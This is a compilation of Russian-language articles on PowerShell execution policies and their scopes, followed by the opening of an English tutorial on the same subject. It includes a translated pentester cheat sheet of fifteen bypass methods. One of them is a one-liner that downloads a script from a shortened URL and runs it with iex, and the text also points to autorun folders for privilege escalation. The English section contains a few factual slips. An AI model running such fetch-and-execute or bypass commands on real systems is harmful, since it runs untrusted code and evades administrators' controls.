Как изменить политику powershell

По-умолчанию настройки Windows запрещают запуск скриптов PowerShell. Это необходимо для предотвращения запуска вредоносного кода на PowerShell. Настройки политик запуска PowerShell скриптов определяются в Execution Policy. В этой статье мы рассмотрим доступные политики запуска PS скриптов, как изменить Execution Policy и настроить политики использования PowerShell скриптов на компьютерах в домене.

Выполнение PowerShell скриптов запрещено для данной системы

При попытке выполнить PowerShell скрипт (файл с расширением PS1) на чистой Windows 10, появляется ошибка:

File C:ps.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess

Не удается загрузить файл.ps1, так как выполнение скриптов запрещено для данной системы.

Текущее значение политики выполнения скриптов PowerShell на компьютере можно получить командой:

Get-ExecutionPolicy

Доступны следующие значения PowerShell Execution Policy:

• Restricted – запрещен запуск скриптов PowerShell, можно выполнять только интерактивные команды в консоли;
• AllSigned – разрешено выполнять только подписанные PS скрипты с цифровой подписью от доверенного издателя (можно подписать скрипт самоподписанным сертификатом и добавить его в доверенные). При запуске недоверенных скриптов появляется предупреждение:

  Do you want to run software from this untrusted publisher? File .ps1 is published by CN=test1 and is not trusted on your system. Only run scripts from trusted publishers

  

• RemoteSigned – можно запускать локальные PowerShell скрипты без ограничения. Можно запускать удаленные PS файлы с цифровой подписью (нельзя запустить PS1 файлы, скачанные из Интернета, запущенные из сетевой папки по UNC пути и т.д.);
• Unrestricted – разрешен запуск всех PowerShell скриптов;

  При запуске сторонних PowerShell скриптов может появляется предупреждение с подтверждением запуска, см. ниже.

• Bypass – разрешён запуск любых PS файлов (предупреждения не выводятся) – эта политика обычно используется для автоматического запуска PS скриптов без вывода каких-либо уведомлений (например при запуске через GPO, SCCM, планировщик и т.д.) и не рекомендуется для постоянного использования;
• Default – сброс настроек выполнения скриптов на стандартную;

  В Windows 10 значение политики выполнения PowerShell по-умолчанию Restricted, а в Windows Server 2016 — RemoteSigned.

• Undefined – не задано. Применяется политика Restricted для десктопных ОС и RemoteSigned для серверных.

Как разрешить запуск скриптов PowerShell с помощью Execution Policy?

Чтобы изменить текущее значение политики запуска PowerShell скриптов, используется командлет Set-ExecutionPolicy.

Например, разрешим запуск локальных скриптов:

Set-ExecutionPolicy RemoteSigned

Подтвердите изменение политики запуска PS1 скриптов, нажав Y или A.

Чтобы запрос не появлялся, можно использовать параметр Force.

Set-ExecutionPolicy RemoteSigned –Force

Если вы установили значение политики PowerShell Execution Policy в Unrestricted, то при запуске удаленных скриптов из сетевых каталогов по UNC пути, скачанных из интернета файлов, все равно будет появляться предупреждение:

Security warning
Run only scripts that you trust. While scripts from the internet can be useful, this script can potentially harm your computer. If you trust this script, use the
Unblock-File cmdlet to allow the script to run without this warning message.
Do you want to run?
[D] Do not run [R] Run once [S] Suspend [?] Help (default is "D")

Как PowerShell различает локальные и удаленные скрипты? Все дело в идентификаторе зоны ZoneId, которую выставляет браузер в альтернативном потоке при загрузке файла (см. статью “Как Windows определяет, что файл скачан из Интернета?”). Вы можете разблокировать такой файл, поставив галку “Разблокирвать” в его свойствах или очиститься метку зоны с помощью комадлета Unblock-File.

Также следует различать различные области действия политик выполнения скриптов PowerShell (scopes):

• MachinePolicy – действует для всех пользователей компьютера, настраивается через GPO;
• UserPolicy – действует на пользователей компьютера, также настраивается через GPO;
• Process — настройки ExecutionPolicy действует только для текущего сеанса PowerShell.exe (сбрасываются при закрытии процесса);
• CurrentUser – политика ExecutionPolicy применяется только к текущему пользователю (параметр из ветки реестра HKEY_CURRENT_USER);
• LocalMachine – политика для всех пользователей компьютера (параметр из ветки реестра HKEY_LOCAL_MACHINE);

Область применения политики можно указать с помощью параметр Scope командлета Set-ExecutionPolicy. Например:

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass –Force

Проверим текущие настройки ExecutionPolicy для всех областей:

Get-ExecutionPolicy -List

Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Bypass
CurrentUser Undefined
LocalMachine RemoteSigned

Значение политики выполнения, которые вы задаете с помощью командлета Set-ExecutionPolicy для областей CurrentUser и LocalMachine, хранятся в реестре. Например, выполните командлет:

Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy Restricted –Force

Откройте ветку реестра HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell и проверьте значение REG_SZ параметра ExecutionPolicy. Оно изменилось на Restricted (допустимые значения параметра Restricted, AllSigned, RemoteSigned, Bypass, Unrestricted и Undefined).

Аналогичные настройки для области CurrentUser находятся в разделе реестра пользователя HKEY_CURRENT_USERSOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell.

Отметим, что чаще всего в корпоративной среде используется ExecutionPolicy со значением AllSigned на уровне LocalMachine. Это обеспечивает максимальный баланс между безопасностью и удобством. Для личного пользования на компьютере можно использовать RemoteSigned. Ну а Bypass политику лучше использовать только для запуска отдельных задач (например для запуска скриптов через GPO или заданий планировщика).

Настройка PowerShell Execution Policy с помощью групповых политик

Вы можете настроить политику выполнения PowerShel скриптов на серверах или компьютерах домена с помощью групповых политик.

1. С помощью редактора доменных GPO (gpmc.msc) создайте новую GPO (или отредактируйте) существующую и назначьте ее на OU с компьютерами, к которым нужно применить политику запуска PowerShell скриптов;
2. В редакторе политики перейдите в раздел Computer Configuration -> Policies -> Administrative Templates -> Windows Components -> Windows PowerShell и найдите политику Turn on Script Execution (Включить выполнение сценариев);

   Аналогичная политика есть в пользовательском разделе GPO — User Configuration, но политика компьютера имеет приоритет.
3. Для политики доступны три значения:
   • Allow only signed scripts (Разрешать только подписанные сценарии) — соответствует политике AllSigned;
   • Allow local scripts and remote signed scripts (Разрешать локальные и удаленные подписанные сценарии) — соответствует политике PS RemoteSigned;
   • Allow all scripts (Разрешать все сценарии) — политика Unrestricted.
4. Выберите необходимое значение политики, сохраните GPO и обновите политики на компьютере.
5. Проверьте, что для области MachinePolicy теперь действуют новые настройки выполнения.

После настройки политики выполнения через GPO вы не сможете изменить настройки политики выполнения скриптов вручную. При попытке изменить настройки Execution Policy на компьютере, на который применяется такая GPO, появится ошибка:

Set-ExecutionPolicy : Windows PowerShell updated your execution policy successfully, but the setting is overridden by a policy defined at a more specific scope. Due to the override, your shell will retain its current effective execution policy of RemoteSigned. Type "Get-ExecutionPolicy -List" to view your execution policy settings.

Способы обхода политики PowerShell Execution

Есть несколько трюков, которые могут помочь вам, когда нужно запустить на компьютере PowerShell скрипт, не изменяя настройки политики выполнения. Например, я хочу запустить простой PS1 скрипт, который поверяет, что запущен с правами администратора.

Можно с помощью Get-Content получить содержимое скрипта и перенаправить его в стандартныq поток ввода консоли PS.

Get-Content c:pscheck_process_elevation.ps1 | PowerShell.exe -noprofile –

Либо можно запустить новый процесс powershell.exe с политикой выполнения Bypass:

powershell.exe -noprofile -executionpolicy bypass -file c:pscheck_process_elevation.ps1

При разработке PowerShell особое внимание было уделено безопасности. Одной из мер безопасности является наличие политики выполнения (Execution Policy), которая определяет, могут ли скрипты PowerShell выполняться в системе, и если могут, то какие именно.

Для примера возьмем чистую Windows 10, откроем консоль PowerShell и попробуем выполнить простой скрипт. Попытка завершится ошибкой, поскольку, как видно из сообщения, выполнение скриптов в системе запрещено.

Это сработала политика выполнения, и если мы все же хотим выполнить скрипт, то ее необходимо изменить. Выбрать можно одно из следующих значений:

• Restricted — в системе запрещено выполнение любых скриптов, допускается только выполнение отдельных команд. Это политика по умолчанию для клиентских ОС Windows;
• AllSigned — разрешено выполнение только скриптов, имеющих цифровую подпись от доверенного издателя;
• RemoteSigned — для удаленных скриптов требуется наличие цифровой подписи, локальные скрипты выполняются без ограничений. Удаленными считаются скрипты, полученные из удаленных источников (загруженные из интернета, полученные по электронной почте и т.п.), локальными — скрипты, созданные на локальном компьютере. Это политика по умолчанию для серверных ОС Windows;
• Unrestricted — разрешено выполнение любых скриптов, как локальных так и удаленных. При выполнении удаленного скрипта без цифровой подписи будет выдано предупреждение. Это дефолтная и единственно возможная политика для всех ОС, отличных от Windows;
• Bypass — разрешено выполнение любых скриптов, никакие предупреждения и запросы не выводятся;
• Default — сбрасывает политику на значение по умолчанию. Для серверов это RemoteSigned, для клиентов Restricted;
• Undefined — не определено. В случае, если значение политики не определено, то применяется политика Restricted.

Теоретически все понятно, проверим на практике. Для просмотра параметров политики используется командлет Get-ExecutionPolicy, а для  изменения Set-ExecutionPolicy.

Для начала выведем действующую политику выполнения командой:

Get-ExecutionPolicy

Как и ожидалось, текущая политика Restricted. Разрешим выполнение скриптов, установив для политики значение Unrestricted:

Set-ExecutionPolicy Unrestricted -Force

И еще попробуем запустить скрипт. На сей раз он выполнился без ошибок.

Политика Unrestricted разрешает выполнение любых скриптов, но у нее все же есть ограничения. Для проверки я подготовил два скрипта, локальный localscript.ps1 и удаленный remotescript.ps1. Сначала запустим локальный, он выполнится без проблем. А вот при запуске удаленного скрипта PowerShell выдаст предупреждение и потребует подтвердить его запуск. При ручном выполнении это не является большой проблемой, а вот в случае автоматического запуска (напр. из планировщика) скрипт может не отработать.

Теперь изменим политику на Bypass и еще раз запустим удаленный скрипт. На сей раз он просто выполнился, безо всяких сообщений и подтверждений. Bypass удобно использовать в ситуациях, когда скрипт должен гарантированно отработать, причем автоматически, без вмешательства пользователя.

Следующим пунктом нашего меню идет политика RemoteSigned. Она является наиболее сбалансированной как с точки зрения безопасности, так и удобства использования, поэтому на серверах включена по умолчанию. Установим для политики значение RemoteSigned и проверим ее действие. Локальный скрипт снова выполняется без проблем, а удаленный выдает ошибку, поскольку у него нет подписи.

У вас может возникнуть вопрос, как именно PowerShell различает локальные и удаленные скрипты. Тут все просто. При загрузке файла приложение (напр. браузер) добавляет файл идентификатор зоны (ZoneId), который и определяет, откуда был взят файл. Идентификатор хранится в альтернативном потоке и имеет значение от 0 до 4:

• Локальный компьютер (0)
• Местная сеть (1)
• Надежные сайты (2)
• Интернет (3)
• Опасные сайты (4)

Если файл имеет ZoneId 3 или 4, то PowerShell считает его удаленным. А если на компьютере включена конфигурация усиленной безопасности Internet Explorer, то файлы, взятые из локальной сети, тоже могут считаться удаленными.

Как выполнить удаленный скрипт? Во первых его  можно разблокировать (превратить в локальный), для этого есть специальный командлет Unblock-File. Хотя если просто открыть скрипт на локальном компьютере и внести в него изменения, то он тоже станет локальным.

Ну и во вторых удаленный скрипт можно подписать. Подписывание скриптов — это тема отдельной статьи, поэтому вдаваться в подробности не будем. Просто подпишем его уже имеющимся сертификатом, проверим подпись и выполним. На сей раз успешно.

Переходим к политике AllSigned. Это наиболее жесткая политика, требующая подписывания всех без исключения скриптов, как удаленных так и локальных. И даже с подписанными скриптами она работает не так, как RemoteSigned. Для примера сменим политику на AllSigned и снова запустим подписанный скрипт. В этот раз для его выполнения потребуется подтверждение, т.к. PowerShell посчитал подпись недоверенной.

Области применения

Политика выполнения имеет свою область действия (scope). Всего есть 5 областей:

• LocalMachine — политика действует на всех пользователей данного компьютера. Значение хранится в реестре, в разделе HKEY_LOCAL_MACHINE;
• CurrentUser — политика действует только на текущего пользователя. Хранится в разделе реестра HKEY_CURRENT_USER;
• Process — действие политики распространяется только на текущий сеанс PowerShell. Значение хранится в переменной окружения $PSExecutionPolicyPreference и при закрытии сеанса удаляется;
• Userpolicy — политика действует на всех пользователей данного компьютера. Распространяется с помощью групповых политик. Значение хранится в разделе пользователя, соответственно политика применяется при входе пользователя в систему;
• MachinePolicy — действует на всех пользователей данного компьютера. Распространяется с помощью групповых политик. Значение хранится в разделе компьютера, политика применяется при загрузке системы;

Вывести значение политики для всех областей можно командой:

Get-ExecutionPolicy -List

Получается, что при установке политики без указания области изменяется значение LocalMachine. Если же требуется указать конкретную область действия, то сделать это можно с помощью параметра Scope командлета Set-ExecutionPolicy. Для примера установим для области СurrentUser политику Bypass:

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

Затем проверим значение политики в текущем сеансе и убедимся в том, что оно изменилось на Bypass.

Теперь установим политику Unrestricted для области Process:

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Unrestricted -Force

Еще раз проверим текущую политику, теперь она имеет значение Unrestricted. Т.е. более ″конкретная″ политика всегда имеет больший приоритет.

Для областей UserPolicy и MachinePolicy значение политики задаются через GPO. За настройку отвечает параметр Turn on Script Execution (Включить выполнение сценариев), находящийся в разделе Administrative TemplatesWindows ComponentsWindows PowerShell. Для UserPolicy он находится в конфигурации пользователя (User Configuration), для MachinePolicy — в конфигурации компьютера (Computer Configuration). Политика, применяемая к компьютеру, имеет приоритет перед политикой пользователя.

Для установки политики надо включить параметр и выбрать одно из трех значений:

• Allow only signed scripts (Разрешать только подписанные сценарии) — политика AllSigned;
• Allow local scripts and remote signed scripts (разрешать локальные и удаленные подписанные сценарии) — политика RemoteSigned;
• Allow all scripts (Разрешать все сценарии) — политика Unrestricted.

Политика Bypass считается небезопасной и ее нельзя установить через групповые политики.

Для примера установим для MachinePolicy политику RemoteSigned и проверим результат. Как видите, политика, назначенная через GPO, имеет больший приоритет и переопределяет все остальные политики.

Более того, при использовании GPO становится невозможным переназначить политики вручную. При попытке изменения выдается предупреждение, а текущая политика остается без изменений.

А что будет, если ни для одной области политика не определена, т.е. везде стоит значение Undefined?  В этом случае все просто, выполнение всех скриптов запрещается, а текущая политика принимает значение Restricted.

Обход политики

Можно ли как то  запустить скрип в обход политики выполнения, не изменяя ее значение? В принципе можно, есть несколько способов.

К примеру для того, чтобы выполнить скрипт, достаточно открыть его в проводнике, кликнуть правой клавишей мыши и выбрать пункт Выполнить с помощью PowewrShell (Run with PowerShell).  Это запускает оболочку PowerShell c политикой Bypass. При этом политика применяется только для выполнения конкретного скрипта, значение политики в реестре не изменяется.

Этот способ называется  ″Run with PowerShell″ и у него есть некоторые ограничения. Скрипты, запущенные таким образом, не могут взаимодействовать с пользователем (выводить сообщения на экран, требовать ввода данных и т.п.). Скрипт просто запускается, выполняется и немедленно закрывается.

Собственно говоря, предыдущий способ использует запуск PowerShell с указанием требуемой политики. Сделать это можно из командной строки, например для запуска скрипта можно попробовать такую команду:

powershell.exe -file .script.ps1 -Executionpolicy Bypass

Теоретически эта команда должна выполнить скрипт, не смотря на текущую политику. Так написано в официальной документации Microsoft. На практике же этот способ работает не всегда, например  на одном из проверенных мной компьютеров я получил ошибку. При этом из проводника скрипт успешно выполнился.

Еще один вариант — это попробовать изменить политику выполнения для области Process. Эта операция не вносит изменений в реестр и не требует прав администратора. Но в том случае, если для назначения политики выполнения используются групповые политики, этот способ не сработает.

Ну и наконец можно просто считать содержимое скрипта и выполнить его в виде команды. Например так:

$script = Get-Content ./script.ps1
Invoke-Expression -Command ″$script″

Данный материал является переводом оригинальной статьи «NetSPI : Scott Sutherland : 15 Ways to Bypass the PowerShell Execution Policy».

По умолчанию PowerShell настроен на предотвращение выполнения сценариев PowerShell в системах Windows. Это может быть препятствием для пентестеров, системных администраторов и разработчиков, но это не обязательно. В этой статье я расскажу о 15 способах обхода политики выполнения PowerShell, не имея прав локального администратора в системе. Я уверен, что есть много методов, которые я пропустил (или просто не знаю), но надеюсь, что эта шпаргалка станет хорошим началом для тех, кто нуждается в получении информации о методах обхода.

Что такое политика выполнения PowerShell?

Политика выполнения PowerShell — это параметр, который определяет, какой тип сценариев PowerShell (если они есть) можно запустить в системе. По умолчанию установлено значение «Restricted (Ограничено)», что в основном означает «нет». Однако важно понимать, что этот параметр никогда не предназначался для контроля безопасности. На самом деле он был предназначен для того, чтобы администраторы «не стреляли себе в ногу». Вот почему есть так много вариантов, чтобы обойти этот механизм (в том числе включая несколько вариантов, которые предоставила Microsoft). Для получения дополнительной информации о параметрах политики выполнения и других элементах безопасности по умолчанию в PowerShell я предлагаю прочитать интересный обзор в блоге Карлоса Переса.

Почему я хочу обойти политику выполнения?

Автоматизация кажется одним из наиболее распространенных ответов, которые я слышу от людей, но ниже приведены несколько других причин, по которым PowerShell стал настолько популярным среди администраторов, пентестеров и хакеров.

PowerShell — это:

• Нативный для Windows механизм;
• Возможность вызова Windows API;
• Возможность запуска команд без записи на диск;
• Возможность избежать обнаружения антивирусным ПО;
• Уже отнесён как «доверенный» в «белых» списках большинства приложений;
• Среда, используемая для написания множества инструментов Pentest с открытым исходным кодом.

Как просмотреть политику выполнения

Прежде чем использовать все замечательные функции, которые может предложить PowerShell, придется обойти «ограниченную» политику выполнения. Вы можете посмотреть текущую конфигурацию с помощью команды PowerShell «Get-ExectionPolicy». Если вы смотрите на настройку в первый раз, скорее всего, она установлена на «Restricted», как показано ниже.

Get-ExecutionPolicy

Стоит также отметить, что политика выполнения может быть установлена на разных уровнях в системе. Чтобы просмотреть их список, используйте команду Set-ExecutionPolicy.

Get-ExecutionPolicy -List | Format-Table -AutoSize

Примечания по настройке лаборатории

В приведенных ниже примерах я буду использовать скрипт с именем runme.ps1, который содержит следующую команду PowerShell для записи сообщения в консоль:

Write-Host "My voice is my passport, verify me."

Когда я пытаюсь выполнить его в системе, настроенной с помощью политики выполнения по умолчанию, я получаю следующую ошибку.

Если ваша текущая политика слишком открыта, и вы хотите сделать ее более строгой, чтобы протестировать приведенные ниже методы, запустите команду из консоли администратора PowerShell:

Set-ExecutionPolicy Restricted

Хорошо, хватит болтовни, ниже приведены 15 способов обойти ограничения политики выполнения PowerShell.

Обход политики выполнения PowerShell

1. Вставка сценария в интерактивную консоль PowerShell

Скопируйте и вставьте сценарий PowerShell в интерактивную консоль, как показано ниже. Однако имейте в виду, что вы будете ограничены привилегиями вашего текущего пользователя. Это самый простой пример, который может быть полезен для запуска быстрых сценариев, когда у вас есть интерактивная консоль. Кроме того, этот метод не приводит к изменению конфигурации и не требует записи на диск

2. Отправка сценария в PowerShell через Echo

Просто добавьте ваш сценарий (ECHO) в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -

3. Считывание скрипта из файла и отправка в стандартный ввод PowerShell

Используйте команду «type» для Windows или PowerShell «Get-Content», чтобы прочитать сценарий с диска и направить его в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации, но требует записи вашего скрипта на диск. Однако вы можете прочитать его с общего сетевого ресурса, если пытаетесь избежать записи на локальный диск.

Пример 1: команда Get-Content PowerShell

Get-Content .runme.ps1 | PowerShell.exe -noprofile -

Пример 2: команда Type

TYPE .runme.ps1 | PowerShell.exe -noprofile -

4. Скачивание скрипта из URL и выполнение с выражением Invoke

Этот метод можно использовать для загрузки сценария PowerShell из Интернета и его запуска без необходимости записи на диск. Это также не приводит к изменениям конфигурации.

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"

5. Использование опции -Command

Этот метод очень похож на выполнение скрипта с помощью копирования и вставки, но это можно сделать без интерактивной консоли. Это удобно для простого выполнения сценария, но более сложные сценарии обычно заканчиваются ошибками синтаксического анализа. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Пример 1: Полная команда

Powershell -command "Write-Host 'My voice is my passport, verify me.'"

Пример 2: Короткая команда

Powershell -c "Write-Host 'My voice is my passport, verify me.'"

Также стоит отметить, что вы можете поместить эти типы команд PowerShell в командные файлы и поместить их в места автозапуска (например, в папку автозагрузки всех пользователей), чтобы помочь во время повышения привилегий.

6. Использование опции -EncodedCommand

Это очень похоже на предыдущую опцию «-Command», но все сценарии предоставляются в виде строки в кодировке Unicode/base64. Такое кодирование вашего сценария помогает избежать всех тех неприятных ошибок синтаксического анализа, с которыми вы сталкиваетесь при использовании «-Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Образец ниже взят из Posh-SecMod. Этот же инструментарий включает в себя приятный небольшой метод сжатия, позволяющий уменьшить размер закодированных команд, если они становятся слишком длинными.

Пример 1: Полная команда

$command = "Write-Host 'My voice is my passport, verify me.'" 
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
$encodedCommand = [Convert]::ToBase64String($bytes) 
powershell.exe -EncodedCommand $encodedCommand

Пример 2: Короткая команда с использованием закодированной строки

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

7. Использование команды Invoke-Command

Это забавная опция, с которой я столкнулся в блоге Obscuresec. Обычно он выполняется через интерактивную консоль PowerShell или один вкладыш с помощью опции «-Command». Но интересно то, что его можно использовать для выполнения команд на удаленных системах, в которых включено удаленное взаимодействие PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Invoke-Command -scriptblock {Write-Host "My voice is my passport, verify me."}

Приведенная ниже команда также может быть использована для получения политики выполнения с удаленного компьютера и ее применения на локальном компьютере.

Invoke-Command -computername Server01 -scriptblock {get-executionpolicy} | Set-executionpolicy -force

8. Использование команды Invoke-Expression

Это еще один способ, который обычно выполняется через интерактивную консоль PowerShell или однострочник с помощью опции «-Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Ниже я перечислил несколько распространенных способов использования выражения-выражения для обхода политики выполнения.

Пример 1: Полная команда с использованием Get-Content

Get-Content .runme.ps1 | Invoke-Expression

Пример 2: Короткая команда с использованием Get-Content

GC .runme.ps1 | iex

9. Использование флага политики выполнения «Bypass»

Это хороший флаг, добавленный Microsoft, который будет обходить политику выполнения, когда вы выполняете сценарии из файла. Когда этот флаг используется, Microsoft заявляет, что «Ничто не заблокировано и нет предупреждений или подсказок». Этот метод не приводит к изменению конфигурации и не требует записи на диск.

PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1

10. Использование флага политики выполнения «Unrestricted»

Это похоже на флаг «Bypass». Однако, когда этот флаг используется, Microsoft заявляет, что «загружает все файлы конфигурации и запускает все сценарии. Если вы запускаете неподписанный скрипт, который был загружен из Интернета, вам будет предложено разрешение перед его выполнением». Этот метод не приводит к изменению конфигурации и не требует записи на диск.

PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1

11. Использование флага политики выполнения «Remote-Signed»

Создайте сценарий и следуйте инструкциям, написанным Карлосом Пересом, чтобы подписать его. Наконец, запустите его, используя команду ниже:

PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1

12. Отключение ExecutionPolicy с заменой AuthorizationManager

Это действительно творческий способ, с которым я столкнулся на nivot.org. Приведенную ниже функцию можно выполнить через интерактивную консоль PowerShell или с помощью опции «-Command». Как только функция вызывается, она заменяет «AuthorizationManager» на Null. В результате политика выполнения, по существу, устанавливается неограниченной на оставшуюся часть сеанса. Этот метод не приводит к постоянному изменению конфигурации и не требует записи на диск. Тем не менее, это изменение будет применяться в течение всего сеанса.

function Disable-ExecutionPolicy {
($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
}
Disable-ExecutionPolicy  
.runme.ps1

13. Установка ExcutionPolicy для области действия Process

Как мы видели во введении, политика выполнения может применяться на многих уровнях. Это включает в себя процесс, который вы контролируете. Используя эту технику, политика выполнения может быть установлена неограниченно на время вашей Сессии. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.

Set-ExecutionPolicy Bypass -Scope Process

14. Установка ExcutionPolicy для области действия CurrentUser с помощью команды

Этот параметр аналогичен области действия процесса, но постоянно применяет этот параметр к среде текущего пользователя, изменяя раздел реестра. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

15. Установка ExcutionPolicy для области CurrentUser через реестр

В этом примере я показал, как постоянно изменять политику выполнения для среды текущего пользователя, напрямую изменяя раздел реестра.

HKEY_CURRENT_USERSoftwareMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell

Подведение итогов

Ключевым моментом этой стати является то, что политика выполнения не должна быть препятствием для разработчиков, администраторов или пентестеров. Microsoft никогда не позиционировала этот механизм для контроля безопасности. Именно поэтому существует такое множество вариантов обхода данного механизма. Помимо того, что сама Microsoft предоставила некоторые нативные варианты, сообщество безопасности также придумало некоторые оригинальные трюки. Спасибо всем тем людям, которые внесли в это свой вклад через блоги и презентации.

Have you ever downloaded a PowerShell script, ran it, and run into the infamous error message below? If so, you need the Set-ExecutionPolicy cmdlet and this tutorial!

Not a reader? Watch this related video tutorial!

Not seeing the video? Make sure your ad blocker is disabled.

In this post, you’re going to learn about PowerShell execution policies and how to manage them with the Set-ExecutionPolicy cmdlet. By the end of this post, you’ll know not only to run scripts but how to use execution policies too!

This tutorial was written with Windows PowerShell in mind, and all demonstrations were performed with Windows PowerShell. Execution policies are not unique to Windows PowerShell, and they operate very similarly in PowerShell 6+. But, if you’re working with PowerShell 6+, you may find small differences in behavior.

What is an Execution Policy?

If you’ve ever run into the error described above, you’ve encountered an execution policy. PowerShell execution policies are a security mechanism to protect your system from running malicious scripts. Execution policies don’t prevent you from running PowerShell code in the console as a shell but script execution.

Microsoft says an execution policy isn’t technically a “security” measure but more of a gate you can open and close. After all, you can bypass a defined execution policy easily, as you’ll learn later.

Execution policies are based on trust. If you trust a script, chances are, it’s not malicious. Execution policies don’t typically prevent script execution of all scripts. Their primary purpose (most notably when configured more strictly) is to ensure you trust the script you’re running is cryptographically-signed with a certificate.

Execution Policy Scopes

As you’ve learned, execution policies restrict script execution, but PowerShell can execute scripts in many different contexts. PowerShell executes scripts under a user’s logged-in context or a global machine context, via scheduled tasks running as SYSTEM or within the scope of a single open PowerShell console.

To accommodate all of these contexts, PowerShell has five different contexts or scopes you can define an execution policy.

• MachinePolicy – This scope is limited to a single computer. It affects all users who log onto that computer, and an Active Directory group policy object sets it. When defined, it takes precedence over all other scopes.
• LocalMachine. This is the default scope that affects all computer users and is stored in the HKEY_LOCAL_MACHINE registry subkey. When you set an execution policy using Set-ExecutionPolicy, this scope is the default.

The execution policy for LocalMachine is stored in the registry key HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell.

• UserPolicy – The UserPolicy scope affects only a single user on a computer, and an Active Directory group policy object sets it. You cannot change this policy with Set-ExecutionPolicy.
• CurrentUser. The CurrentUser policy scope sets the execution policy only for the current user and is stored under the HKEY_CURRENT_USER registry hive. You cannot change this policy with Set-ExecutionPolicy.

The execution policy for CurrentUser is stored in the registry key HKEY_CURRENT_USERSOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell.

• Process – This scope defines the execution policy for a single PowerShell session for a single user. The Process execution policy scope is the most granular execution policy you can define. Unlike other execution policies, this policy is saved in an environment variable called PSExecutionPolicyPreference rather than the registry.

Execution Policy Types

Execution policies have various “security levels.” These levels dictate how strict the execution policy is. For example, you can have an execution policy in place that essentially does nothing; it’s disabled, but, on the other hand, an execution policy can completely disable script execution.

Let’s cover each of the ways you can configure an execution policy’s security level from least to most restrictive.

Unrestricted

The least restrictive policy is one that does not affect at all; it’s Unrestricted. Unrestricted execution policies are essentially disabled. Users can run all scripts regardless of trust when an execution policy is Unrestricted.

Bypass

Like the Unrestricted type, an execution policy set to Bypass, blocks nothing.

While Bypass and Unrestricted have a similar effect, the Bypass execution policy type isn’t technically a type at all. It skips a defined execution policy entirely.

Undefined

Although not commonly used, you can essentially remove an execution policy by setting it to Undefined. When you set an execution policy to Undefined, PowerShell completely removes any assigned execution policies from the assigned scope.

On non-Windows computers, the execution policy is always set to Unrestricted and cannot be changed.

When all scopes are set to Undefined, PowerShell essentially treats all scopes as Restricted.

RemoteSigned

As you read earlier, execution policies are all about trust earned via a digital signature on scripts. PowerShell also takes into account where that script came from. Was it created on your local computer or from some random person on the Internet?

Scripts built somewhere other than your local computer should not be inherently trusted. This is why PowerShell provides the RemoteSigned execution policy. The RemoteSigned execution policy enforces that all scripts are written somewhere other than your local computer to be cryptographically-signed.

You can override this execution policy to some degree for files downloaded from the Internet using the Unblock-File cmdlet. Get more information on this behavior a little later in the How the RemoteSigned Policy Works section.

For Windows Server, RemoteSigned is assigned as the default policy.

AllSigned

If you’d like to ensure all PowerShell scripts are cryptographically-signed, set the execution policy to AllSigned. Like RemoteSigned, this execution policy takes the signing requirement a step further and enforces all scripts are signed before execution.

Even if you have the AllSigned execution policy set, you can still get around the execution policy by bypassing it, as you’ll learn later.

Restricted

The most restrictive execution policy is Restricted. When an execution policy is to Restricted, absolutely no scripts can execute; regardless of they’re trusted or not. This policy essentially disables script execution completely.

Also, unlike the less restrictive types, the Restricted type ensures PowerShell formatting and configuration files (PS1XML), module script files (PSM1), and PowerShell profiles cannot execute.

All Windows clients, by default, are set to a Restricted execution policy.

Technically, Microsoft defines a seventh execution policy called Default, but the type is essentially another label for RemoteSigned (Windows Server) and Restricted (Windows Clients).

How the RemoteSigned Policy Works

One particular scenario to point is how the RemoteSigned execution policy works. This execution policy (as you’ve learned) prevents scripts from running that have been created somewhere other than your local computer.

But how does PowerShell know the script was created elsewhere? Data streams.

Understanding and Querying NTFS Data Streams

Whenever you create a file on an NTFS file system, NTFS applies an alternate data stream (ADS) attribute to the file. An ADS has two file attributes: $Data and zone.Identifier. PowerShell uses the zone.Identifier attribute to identify whether a PowerShell script file created somewhere else.

Unlike other attributes like Compressed or Read Only, ADS attributes are hidden in File Explorer. But, by using PowerShell, you can inspect these data streams.

Run the Get-Item cmdlet using the path to the script and the Stream parameter as shown below. In this example, Hello World.ps1 was written on the local computer. Notice the only attribute assigned to the Stream property is $DATA. There is no ADS attribute.

